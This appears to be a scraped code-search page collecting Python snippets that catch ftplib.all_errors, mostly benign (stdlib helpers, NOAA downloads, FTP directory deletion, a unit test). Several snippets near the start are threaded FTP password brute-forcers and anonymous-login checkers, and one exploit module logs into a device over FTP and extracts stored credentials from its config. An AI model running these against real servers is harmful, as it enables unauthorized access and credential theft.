def workhorse(ipaddr, user, word):
user = user.replace("\n","")
word = word.replace("\n","")
try:
print "-"*12
print "User:",user,"Password:",word
ftp = FTP(ipaddr)
ftp.login(user, word)
ftp.retrlines('LIST')
print "\t\n[!] Login successful:",user, word
if txt != None:
save_file.writelines(user+" : "+word+" @ "+ipaddr+":21\n")
ftp.quit()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "[-] An error occurred:", msg
pass
python类all_errors()的实例源码
def brute(ipaddr):
print "-"*30
print "\n[+] Attempting BruteForce:",ipaddr,"\n"
try:
f = FTP(ipaddr)
print "[+] Response:",f.getwelcome()
except (ftplib.all_errors):
pass
try:
print "\n[+] Checking for anonymous login:",ipaddr,"\n"
ftp = FTP(ipaddr)
ftp.login()
ftp.retrlines('LIST')
print "\t\n[!] Anonymous login successful!!!\n"
if txt != None:
save_file.writelines("Anonymous:"+ipaddr+":21\n")
ftp.quit()
except (ftplib.all_errors):
print "[-] Anonymous login unsuccessful\n"
for user in users:
for word in words:
work = threading.Thread(target = workhorse, args=(ipaddr, user, word)).start()
time.sleep(1)
def RemoveDirFTP(self, ftp, path):
import ftplib
"""Recursively delete a directory tree on a remote server."""
wd = ftp.pwd()
try:
names = ftp.nlst(path)
except ftplib.all_errors as e:
# some FTP servers complain when you try and list non-existent paths
print('RemoveDirFTP: Could not remove {0}: {1}'.format(path, e))
return
for name in names:
if os.path.split(name)[1] in ('.', '..'): continue
print('RemoveDirFTP: Checking {0}'.format(name))
try:
ftp.cwd(name) # if we can cwd to it, it's a folder
ftp.cwd(wd) # don't try a nuke a folder we're in
self.RemoveDirFTP(ftp, name)
except ftplib.all_errors:
ftp.delete(name)
try:
ftp.rmd(path)
except ftplib.all_errors as e:
print('RemoveDirFTP: Could not remove {0}: {1}'.format(path, e))
def _get_ftp_connection(self):
for _ in range(self.n_tries):
try:
ftp = ftplib.FTP("ftp.ncdc.noaa.gov")
except ftplib.all_errors as e:
logger.warn("FTP connection issue: %s", e)
else:
logger.info(
"Successfully established connection to ftp.ncdc.noaa.gov."
)
try:
ftp.login()
except ftplib.all_errors as e:
logger.warn("FTP login issue: %s", e)
else:
logger.info(
"Successfully logged in to ftp.ncdc.noaa.gov."
)
return ftp
raise RuntimeError("Couldn't establish an FTP connection.")
def _load_image_from_url_or_local_path(self, file_path):
urlparts = urlparse(file_path)
if urlparts.scheme in ('http', 'https'):
try:
file = self._session.get(file_path, stream=True).raw
except RequestException:
log.warning("Image skipped", exc_info=True)
return None
elif urlparts.scheme in ("ftp", "data"):
try:
file = urlopen(file_path)
except (URLError, ) + ftplib.all_errors:
log.warning("Image skipped", exc_info=True)
return None
else:
file = file_path
try:
return open_image(file)
except (IOError, ValueError):
log.warning("Image skipped", exc_info=True)
return None
def get_modified_time_of_file(host, file_path, file_name):
modified_time = 0
try:
ftp = ftplib.FTP(host)
ftp.login()
ftp.cwd(file_path)
modified_time = ftp.sendcmd('MDTM %s' % file_name)[4:]
ftp.quit()
year = int(modified_time[:4])
month = int(modified_time[4:6])
day = int(modified_time[6:8])
hour = int(modified_time[8:10])
minute = int(modified_time[10:12])
seconds = int(modified_time[12:14])
remote_file_time = datetime.datetime(year, month, day, hour, minute, seconds)
modified_time = int(time.mktime(remote_file_time.timetuple()))
except ftplib.all_errors as e:
logger.warning('%s\nNot able to get date of remote description file. Check your connection' % e)
return modified_time
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def retrfile(self, file, type):
import ftplib
self.endtransfer()
if type in ('d', 'D'): cmd = 'TYPE A'; isdir = 1
else: cmd = 'TYPE ' + type; isdir = 0
try:
self.ftp.voidcmd(cmd)
except ftplib.all_errors:
self.init()
self.ftp.voidcmd(cmd)
conn = None
if file and not isdir:
# Try to retrieve as a file
try:
cmd = 'RETR ' + file
conn = self.ftp.ntransfercmd(cmd)
except ftplib.error_perm, reason:
if str(reason)[:3] != '550':
raise IOError, ('ftp error', reason), sys.exc_info()[2]
if not conn:
# Set transfer mode to ASCII!
self.ftp.voidcmd('TYPE A')
# Try a directory listing. Verify that directory exists.
if file:
pwd = self.ftp.pwd()
try:
try:
self.ftp.cwd(file)
except ftplib.error_perm, reason:
raise IOError, ('ftp error', reason), sys.exc_info()[2]
finally:
self.ftp.cwd(pwd)
cmd = 'LIST ' + file
else:
cmd = 'LIST'
conn = self.ftp.ntransfercmd(cmd)
self.busy = 1
# Pass back both a suitably decorated object and a retrieval length
return (addclosehook(conn[0].makefile('rb'),
self.endtransfer), conn[1])
def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
ftp = FTP(ip)
ftp.login(user[:-1], value)
ftp.retrlines('LIST')
print "\t\nLogin successful:",user, value
ftp.quit()
work.join()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "An error occurred:", msg
pass
def ftpcheck(ftpdn):
try:
ftp=FTP(ftpdn)
ftp.login()
ftp.retrlines('list')
print "\nAnonymous loging possible: Try running a make directory command"
except(ftplib.all_errors),msg: print "Anonymous not Possible||Or Unknown Error"
def run(self):
value, user = getword()
try:
print "-"*12
print "User:",user,"Password:",value
ftp = FTP(sys.argv[1])
ftp.login(user, value)
ftp.retrlines('LIST')
print "\t\nLogin successful:",value, user
ftp.quit()
work.join()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "An error occurred:", msg
pass
def ftp_get_config(self):
print_status("FTP {}:{} Trying FTP authentication with Username: {} and Password: {}".format(self.target,
self.ftp_port,
self.remote_user,
self.remote_pass))
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.ftp_port), timeout=10)
ftp.login(self.remote_user, self.remote_pass)
print_success("FTP {}:{} Authentication successful".format(self.target, self.ftp_port))
if self.config_path in ftp.nlst():
print_status("FTP {}:{} Downloading: {}".format(self.target, self.ftp_port, self.config_path))
r = StringIO()
ftp.retrbinary('RETR {}'.format(self.config_path), r.write)
ftp.close()
data = r.getvalue()
creds = re.findall(r'add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\r\n', data)
if creds:
print_success("Found encrypted credentials:")
print_table(('Name', 'Password', 'Role', 'Hash2', 'Crypt'), *creds)
return creds
else:
print_error("Exploit failed - could not find any credentials")
except ftplib.all_errors:
print_error("Exploit failed - FTP error")
return None
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def ftp_get_config(self):
print_status("FTP {}:{} Trying FTP authentication with Username: {} and Password: {}".format(self.target,
self.ftp_port,
self.remote_user,
self.remote_pass))
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.ftp_port), timeout=10)
ftp.login(self.remote_user, self.remote_pass)
print_success("FTP {}:{} Authentication successful".format(self.target, self.ftp_port))
if self.config_path in ftp.nlst():
print_status("FTP {}:{} Downloading: {}".format(self.target, self.ftp_port, self.config_path))
r = StringIO()
ftp.retrbinary('RETR {}'.format(self.config_path), r.write)
ftp.close()
data = r.getvalue()
creds = re.findall(r'add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\r\n', data)
if creds:
print_success("Found encrypted credentials:")
print_table(('Name', 'Password', 'Role', 'Hash2', 'Crypt'), *creds)
return creds
else:
print_error("Exploit failed - could not find any credentials")
except ftplib.all_errors:
print_error("Exploit failed - FTP error")
return None
def RemoveFileFTP(ftp, filepath):
"""Delete a file on a remote server."""
import ftplib
try:
ftp.delete(filepath)
except ftplib.all_errors as e:
import sys
print('POPUP: Could not remove file {0}: {1}'.format(filepath, e))
sys.stdout.flush()
def RemoveDirFTP(ftp, path):
"""Recursively delete a directory tree on a remote server."""
import ftplib
wd = ftp.pwd()
try:
names = ftp.nlst(path)
except ftplib.all_errors as e:
# some FTP servers complain when you try and list non-existent paths
print('RemoveDirFTP: Could not remove folder {0}: {1}'.format(path, e))
return
for name in names:
if os.path.split(name)[1] in ('.', '..'): continue
print('RemoveDirFTP: Checking {0}'.format(name))
try:
ftp.cwd(path+'/'+name) # if we can cwd to it, it's a folder
ftp.cwd(wd) # don't try a nuke a folder we're in
RemoveDirFTP(ftp, path+'/'+name)
except ftplib.all_errors:
ftp.delete(path+'/'+name)
#RemoveFileFTP(ftp, name)
try:
ftp.rmd(path)
except ftplib.all_errors as e:
print('RemoveDirFTP: Could not remove {0}: {1}'.format(path, e))
ABB_RAPID_IRC5_clad.py 文件源码
项目:robodk_postprocessors
作者: ros-industrial
项目源码
文件源码
阅读 18
收藏 0
点赞 0
评论 0
def RemoveFileFTP(self, ftp, filepath):
import ftplib
"""Recursively delete a directory tree on a remote server."""
try:
ftp.delete(filepath)
except ftplib.all_errors as e:
import sys
print('POPUP: Could not remove {0}: {1}'.format(filepath, e))
sys.stdout.flush()
def RemoveFileFTP(self, ftp, filepath):
import ftplib
"""Recursively delete a directory tree on a remote server."""
try:
ftp.delete(filepath)
except ftplib.all_errors as e:
import sys
print('POPUP: Could not remove {0}: {1}'.format(filepath, e))
sys.stdout.flush()
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def test_all_errors(self):
exceptions = (ftplib.error_reply, ftplib.error_temp, ftplib.error_perm,
ftplib.error_proto, ftplib.Error, IOError, EOFError)
for x in exceptions:
try:
raise x('exception not included in all_errors set')
except ftplib.all_errors:
pass
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def test_all_errors(self):
exceptions = (ftplib.error_reply, ftplib.error_temp, ftplib.error_perm,
ftplib.error_proto, ftplib.Error, IOError, EOFError)
for x in exceptions:
try:
raise x('exception not included in all_errors set')
except ftplib.all_errors:
pass
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def test_all_errors(self):
exceptions = (ftplib.error_reply, ftplib.error_temp, ftplib.error_perm,
ftplib.error_proto, ftplib.Error, IOError, EOFError)
for x in exceptions:
try:
raise x('exception not included in all_errors set')
except ftplib.all_errors:
pass
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def ftp_connect(): # Connect to the FTP and start asking for commands
while True: # If connection fails, retry
site_address = input('Enter FTP address: ')
try:
with ftplib.FTP(site_address) as ftp:
ftp.login()
print(ftp.getwelcome())
print('Directory Listing for', ftp.pwd())
ftp.dir()
print('Valid commands are cd/get/exit - ex: get readme.txt')
ftp_command(ftp)
break # once ftp_command() exits, end this function (exit program)
except ftplib.all_errors as e: # treat all exceptions at this point as a connection failure
print('Failed to connect, check your address.', e)
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors